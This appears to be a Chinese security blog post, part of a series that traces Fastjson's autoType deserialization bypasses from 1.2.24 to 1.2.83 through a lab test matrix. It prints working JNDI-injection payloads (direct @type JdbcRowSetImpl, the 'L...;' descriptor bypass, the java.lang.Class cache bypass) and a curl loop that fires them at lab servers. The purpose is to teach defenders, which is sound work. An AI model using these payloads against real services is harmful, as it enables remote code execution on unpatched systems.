news 2026/10/3 22:40:51

Fastjson 漏洞 · 04 · 绕过军备竞赛:1.2.25 → 1.2.83

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fastjson 漏洞 · 04 · 绕过军备竞赛:1.2.25 → 1.2.83

这一篇是本系列的核心:从"默认能打"到"越来越难打",每一个补丁改了什么、攻击者怎么绕、为什么最终必须放弃 1.x 的 autoType 模型。所有结论都对应配套靶场的实测矩阵(lab/fastjson-lab/verify-output.txt)


引子:一场持续七年、教科书级的"打补丁—绕过"战争

Fastjson 的反序列化问题从 2017 年延续到 2022 年,版本号从 1.2.24 一路补到 1.2.83。它不是"一个 CVE + 一个补丁",而是一长串 CVE 和无数次绕过:每修一个,安全研究者就找到一个新写法;官方黑名单越长,绕过的套路越多。这段历史是理解"为什么安全不能依赖黑名单"的最好教材。

几个关键节点足以看出这场拉锯的节奏:

  • 1.2.24:autoType 默认开启,@type直接打,无需技巧;

  • 1.2.25:引入checkAutoType和黑名单,autoType 默认关闭——第一次"防守";

  • 1.2.41 / 1.2.42:L...;类描述符绕过与修复;

  • 1.2.47:出现只靠 fastjson 自身、不依赖外部库的通用缓存绕过,影响极广;

  • 1.2.68:官方加入safeMode,并引入ExpectClass;

  • 1.2.80:官方公告承认"特定依赖存在下"仍可绕过(对应 CVE-2022-25845);

  • 1.2.83:修复该绕过,同时官方给出"升 1.2.83 / 开 safeMode / 迁 fastjson2"三条路。

本篇不满足于贴版本号,而是用配套靶场的实测矩阵,把"哪个版本、哪种写法能打"一条条验证出来,再讲清每次补丁改了什么、绕过为什么成立。看懂之后就会明白:"已升到 1.2.80"并不等于安全,因为绕过取决于依赖树里有什么 gadget。

本篇要点:

  1. L...;绕过为什么能生效?它在利用哪个环节的不一致?

  2. 1.2.47 的缓存绕过 payload 里,java.lang.Class到底干了什么?

  3. 为什么 1.2.62 之后"通用 payload"集体失效,但系统仍可能不安全?

  4. 官方说的"特定依赖存在下"是什么意思?对防守判断有何影响?

  5. safeMode 为什么"没有绕过"?


一、先把靶场矩阵摆出来(实测)

在靶场对每个版本发送同一批 payload(JNDI 目标指向靶场内置恶意 LDAP/HTTP 服务),判定"是否产生 JNDI 回调并执行"。(matrix.py只是把"逐版本重启 + 发送 + 统计回调"自动化;不依赖脚本时,按下面的循环手动做即可。)

cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f 'com.lab.fastjson.FastjsonLab'; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ -cp "target/fastjson-lab.jar:lib/fastjson-$v.jar" \ com.lab.fastjson.FastjsonLab --port 8080 > fastjson-lab.log 2>&1 & # 换 classpath 里的版本 sleep 2 : > /opt/jndi-server/callbacks.log # 清空回调 curl -s -G "http://127.0.0.1:8080/parse" --data-urlencode \ 'data={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' >/dev/null echo "$v 回调=$(wc -l < /opt/jndi-server/callbacks.log)" # 回调>0 即触发 done

实测结果如下(行=payload,列=fastjson 版本;RCE表示产生 JNDI 回调并执行):

payload1.2.241.2.251.2.411.2.421.2.431.2.471.2.621.2.681.2.801.2.83
direct(直接写危险类名)RCEblockedblockedblockedblockedblockedblockedblockedblockedblocked
L-prefix(L...;描述符)RCERCERCEblockedblockedblockedblockedblockedblockedblocked
cache-Class(java.lang.Class缓存)RCERCERCERCERCERCEblockedblockedblockedblocked
expectClassRCEblockedRCERCERCERCEblockedblockedblockedblocked
throwableRCEblockedRCERCERCERCEblockedblockedblockedblocked
autotype-direct(开 autoType)RCEblockedRCERCERCERCEblockedblockedblockedblocked
autotype-cache(开 autoType+缓存)RCEblockedRCERCERCERCEblockedblockedblockedblocked

读表要点:

  • 1.2.24 全绿:autoType 默认开启,无需技巧;

  • 1.2.25 首回合防守:direct被挡,但L-prefix、cache-Class仍可绕;

  • 1.2.42 修掉L-prefix,但cache-Class仍通;

  • 1.2.47 的cache-Class是只靠 fastjson 自身、不依赖外部库的通用绕过;

  • 1.2.62 起通用 payload 全部失效

表中 payload 是"通用的、只需要 fastjson 本身"的写法。后面会说明:1.2.62 之后不是"绝对安全",而是绕过开始依赖项目里碰巧存在的第三方 gadget / 特定解析上下文,通用性大幅下降。


二、1.2.24 → 1.2.25:守门函数登场

1.2.24 及更早:autoType 默认开启,{"@type":"com.sun.rowset.JdbcRowSetImpl",...}直接打,无需任何技巧。

1.2.25 的修复:引入checkAutoType,内置一份黑名单,且 autoType 默认关闭。于是直接写危险类名会得到:

ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl

攻击者的应对:黑名单只比对"规范化后的类名",而规范化逻辑不够严。用类描述符写法L...;即可让黑名单比对失败、而实际加载时又被还原:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://...","autoCommit":true}

靶场实测 1.2.25、1.2.41 上确实能打(L-prefix RCE)。这就是"军备竞赛"的典型回合:补丁修补的是类名比对,绕过换的是类名长相。


三、1.2.42:修掉L...;,但缓存漏洞已现

1.2.42 在checkAutoType里把L/;的规范化补齐(无论哪种路径都先剥壳),L-prefix随之失效(矩阵里 1.2.42 的L-prefix变为blocked)。

但 1.2.42~1.2.47 上,另一种写法仍然能打。这就是"缓存绕过",原理在上一篇讲过——检查顺序里"查缓存"在"查黑名单"之前。

缓存绕过 payload

{ "a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://...","autoCommit":true} }

逐段解释:

  1. 解析a时,@type是java.lang.Class——这个类本身是允许的(不是危险类)。Fastjson 用MiscCodec处理它,取val作为要加载的类名,并把这个类放入TypeUtils的缓存映射;

  2. 于是com.sun.rowset.JdbcRowSetImpl被登记进缓存;

  3. 解析b时,checkAutoType第一步"查缓存"就命中了,在黑名单检查之前直接放行;

  4. 后续照旧触发 JNDI → RCE。

Java 说明:

  • MiscCodec:Fastjson 处理"特殊类型"的内置编解码器。遇到@type为java.lang.Class时,它会读取val字段,把其中的类名加载成Class。

  • TypeUtils:Fastjson 的类型工具类,内部维护一张"类名 → Class"的映射缓存(mappings)。

  • 该绕过利用的正是"检查逻辑先查缓存、再查黑名单"的顺序缺陷:只要先用java.lang.Class把危险类塞进缓存,后续检查就会放行。

因果总结:这个绕过不依赖任何外部 gadget,只需要 fastjson 一个Class类型属性 + 两个字段。所以在 1.2.47 上它被公认为"最通用的 autoType 绕过"。靶场里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均为RCE,验证了这一点。

为什么 1.2.62 之后不行了

1.2.62 / 1.2.68 对缓存路径也加了判断:不再是"在缓存里就无条件放行",危险类即便进了缓存,仍会被拦。矩阵里 1.2.62 起cache-Class变为blocked。


四、1.2.68:safeMode 与 ExpectClass

1.2.68 有两个重要变化:

  1. 引入 safeMode:一旦开启,无论黑白名单都不支持 autoType,等于彻底关掉这条攻击面。这是防守方目前最稳的"亡羊补牢"。

  2. 引入ExpectClass(期望类型)机制:当解析上下文"已经知道期望的类型"时,如果@type指定的类是其子类/实现,可能被放行。

ExpectClass本身是为了兼容泛型/接口多态,但它带来了新的绕过思路:让解析上下文"期望"一个宽泛的接口(比如java.lang.AutoCloseable),再让@type指向实现了该接口的危险类。注意,这类绕过不是万能 payload,它要求业务代码恰好以"带期望类型"的方式解析(例如parseObject(json, SomeWrapper.class),而SomeWrapper的字段类型是某个接口)。

在本靶场的/parse(无期望类型)下无法复现ExpectClass绕过——矩阵里expectClass在 1.2.68 为blocked。这恰恰说明一个重要事实:

1.2.68 之后的绕过是"条件化"的,和业务代码的解析方式强相关,不再是一条 payload 通吃。


五、1.2.80 与 CVE-2022-25845:依赖型绕过

2022 年 5 月,Fastjson 官方发布安全公告(wiki:security_update_20220523),原文要点:

近日 Fastjson Develop Team 发现 fastjson 1.2.80 及以下存在新的风险……特定依赖存在下影响 ≤1.2.80建议升级 1.2.83;或开启 safeMode;或使用 fastjson v2。

关键词是"特定依赖存在下"。也就是说:

  • 这个绕过需要一个项目里恰好存在的第三方 gadget 类(属于某个依赖库,且能触发危险行为)来配合;

  • 它不是"只要用 fastjson 1.2.80 就能打";没有对应依赖就打不动;

  • 因此在本靶场的最小依赖(fastjson + 少量 gadget 库)下,矩阵里 1.2.80 的通用 payload 全部blocked。额外试过依赖型 gadget(如 xbean 的JndiConverter),在 1.2.68+ 默认配置下同样被拦。

这个事实对防守方的启示是:"已升到 1.2.80"并不等于安全,因为依赖树里有什么 gadget,攻击者比使用者更清楚。1.2.83 才修复了该次绕过,且官方明确建议迁移 fastjson2。


六、1.2.83 与"通用 payload 的终结"

1.2.83 的效果:矩阵里所有通用 payload 全部blocked。同时官方给出三条路:

  1. 升级到 1.2.83(有 autoType 行为变更,可能不兼容);

  2. 开启 safeMode(1.2.68+,完全关闭 autoType,最稳但可能影响业务);

  3. 迁移 fastjson v2(重写版本,不再为兼容保留白名单,安全模型不同)。

到这一步,1.x 的 autoType 模型已经"补丁叠补丁",官方也承认这套设计本身是负担。现代项目的正确答案不是"打补丁到最新 1.x",而是上 fastjson2 或换 Jackson 并关闭多态反序列化。


七、为什么"绕过注定条件化"

把整场军备竞赛抽象一下:

黑名单比对类名 -> 绕:换个类名长相(L...;) 黑名单 + 规范化 -> 绕:走缓存,让检查在命中黑名单前就放行 修缓存路径 -> 绕:换依赖库里的等价 gadget(项目恰好有这个依赖) 加 ExpectClass 限制 -> 绕:利用业务"带期望类型"的解析上下文 safeMode -> 没有绕过(因为直接不看黑白名单了)

规律:只要"类名可由输入决定"这个根还在,攻防就永远在追补丁;safeMode/fastjson2 是"拔掉根",所以没有绕过。这就是下一篇要讲的现代方向。


八、自测

  1. L...;绕过能生效,是因为黑名单和实际加载用了不同的"类名规范化"——请解释这句话。

  2. 缓存绕过为什么能跳过黑名单?它的 payload 里java.lang.Class起了什么作用?

  3. 为什么 1.2.68 之后的绕过"和业务解析方式强相关"?举一个ExpectClass绕过的前提。

  4. 官方公告说"特定依赖存在下影响 ≤1.2.80",这句话对防守方的判断意味着什么?

  5. safeMode 为什么"没有绕过"?它和黑名单在原理上有什么根本区别?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/3 22:39:11

剪映操作|做数字人口播,用什么工具效果自然

适用对象&#xff1a;AI视频生成任务的创作者。本文只处理“做数字人口播&#xff0c;用什么工具效果自然&#xff1f;”这一件事。先确定这一条要解决什么结论放前面&#xff1a;处理“做数字人口播&#xff0c;用什么工具效果自然&#xff1f;”&#xff0c;把生成或自动剪辑…

作者头像 李华
网站建设 2026/10/3 22:35:24

【Linux笔记】网络基础

一、网络发展的背景1.1 从独立到互联的必然性计算机是人的工具&#xff0c;人要协同工作&#xff0c;注定了网络的产生是必然的。发展路径为&#xff1a;独立模式 → 网络互联&#xff08;数据共享&#xff09;→ 局域网LAN&#xff08;交换机/路由器连接更多计算机&#xff09…

作者头像 李华
网站建设 2026/10/3 22:35:02

C输入输出函数详解:Coursebook printf/scanf完整参考

C输入输出函数详解&#xff1a;Coursebook printf/scanf完整参考 【免费下载链接】coursebook Open Source Introductory Systems Programming Textbook for the University of Illinois 项目地址: https://gitcode.com/GitHub_Trending/co/coursebook Coursebook 是伊利…

作者头像 李华
网站建设 2026/10/3 22:34:20

merge 为什么有时只是移动指针,有时会多一个 commit

merge 为什么有时只是移动指针&#xff0c;有时会多一个 commit 前面讲 checkout 和 reset 时&#xff0c;我们一直围绕几样东西看&#xff1a; HEAD&#xff1a;当前站在哪里。分支引用&#xff1a;refs/heads/master 这种名字指向哪个 commit。index&#xff1a;下一次提交准…

作者头像 李华